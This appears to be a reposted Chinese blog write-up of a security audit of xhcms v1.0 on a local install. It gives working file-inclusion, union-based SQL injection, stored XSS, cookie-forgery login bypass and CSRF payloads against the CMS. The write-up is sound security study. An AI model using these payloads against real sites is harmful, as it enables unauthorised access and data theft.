熊海CMS xhcms v1.0代碼審計


有空的時候就進行小型CMS的代碼審計,這次審計的對象是熊海CMS v1.0

本地環境安裝好了之后,可以看到提示安裝了鎖文件

 

 說明重裝漏洞應該不會存在了,這時候丟進seay代碼審計系統的代碼也出結果了,挨個看看

 

<?php
//單一入口模式
error_reporting(0); //關閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等於index
include('files/'.$action.'.php'); //載入相應文件
?>

  第一個疑似文件包含漏洞,對GET方式傳進的參數r進行了參數過濾,但是存在目錄穿越,黑盒嘗試了一下使用點 反斜杠截斷,無果,存在漏洞,但是只能包含本地php文件

創建一個phppinfo.php文件

 

 本來是包含files文件夾下的php文件,通過目錄穿越我們嘗試包含phpinfo.php

http://127.0.0.1/xhcms_v1.0/?r=../../phpinfo

  

 

 成功包含

第二個疑似文件包含漏洞也是同樣的利用方式,代碼都是類似的:

<?php
//單一入口模式
error_reporting(0); //關閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等於index
include('files/'.$action.'.php'); //載入相應文件
?>

  再看一下疑似存在SQL注入的地方

$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET 
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";

  這里可以看到對於POST方式輸入的參數使用了addslashes函數進行過濾,所以這里的注入是一個誤報,看下一處疑似注入:

在editcolumn.php文件中,存在如下代碼:

$id=$_GET['id'];
$type=$_GET['type'];

if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";

  可以看到對於GET方式輸入的id沒有進行過濾,應該是開發者的遺漏,我們到本地網站上進行測試

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1

  輸入單引號之后頁面報錯

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27

  

 

 我們知道后端的php代碼,就直接使用union select 進行注入

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20order%20by%2010--+

  

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10--+

  字段數為10,回顯位置有2,6,3,4,8

 

 

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,database(),3,4,5,user(),7,8,9,10--+

  使用payload查詢database()和user()

 

 成功獲取到了數據。

 

測試了一下后台的頭像文件上傳,上傳正常的圖片好像都不行

 

 一直都是這個頭像,嘗試尋找XSS,CSRF和越權漏洞

if (isset($_GET["callback"])) {
    if (preg_match("/^[\w_]+$/", $_GET["callback"])) {
        echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
    } else {
        echo json_encode(array(
            'state'=> 'callback參數不合法'
        ));
    }
} else {
    echo $result;
}

  這里使用了htmlspecialchars函數進行過濾,$callback參數不存在XSS漏洞,而result變量在前面是固定的幾個選項,不能構造XSS

 

到聯系的留言列表里面去,可以看到用戶可以在這里留言,應該是我搭建的問題,導致用戶不能提交留言,但是有一個管理員回復,我們到后台界面留言回復,進行XSS攻擊。

 

 使用payload:

<script>alert(1)</script>

  

<script>alert(/xss/);</script>

  再到網站聯系界面,可以看到成功彈窗

 

 

 

 同時我們審查元素,可以看到XSS的payload在頁面的元素中,對管理員回復留言並沒有進行限制,導致XSS漏洞的產生

 

 

 

關於越權漏洞,因為只有admin一個用戶,我們嘗試可不可以不輸入密碼進入后台

在后台主頁進行抓包:

 

 可以看到Cookie里面有user=admin,很容易聯想到會不會是user所對應的名字就是它對應的權限,測試之后發現不是,因為就一個用戶,但是測試發現只要存在user,就能夠進入后台,如我們先將cookie刪除:

 

 可以看到會將我們重定向至login界面

將cookie中的user改為一個並不存在的用戶SpringBird,可以看到后台登錄成功。

 

 

 

 

尋找CSRF漏洞,CSRF全程為跨站請求偽造,即可以劫持其他用戶去進行一些請求。我們嘗試劫持管理員的權限去刪除文章

點擊刪除文章之后抓包

 

 使用burpsuite自帶的CSRF POC生成

 

 在本地創建CSRF.html,訪問之

 

 

 

 可以看到出現了按鈕,抓包的時候我們可以看到沒有token驗證,證明很有可能存在CSRF漏洞,這個時候瀏覽器還保存着管理員的身份信息,所以點擊Submit就能夠刪除對應的文章

 

 成功進行CSRF攻擊。

繼續努力吧。

 

參考鏈接:

http://foreversong.cn/archives/387

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM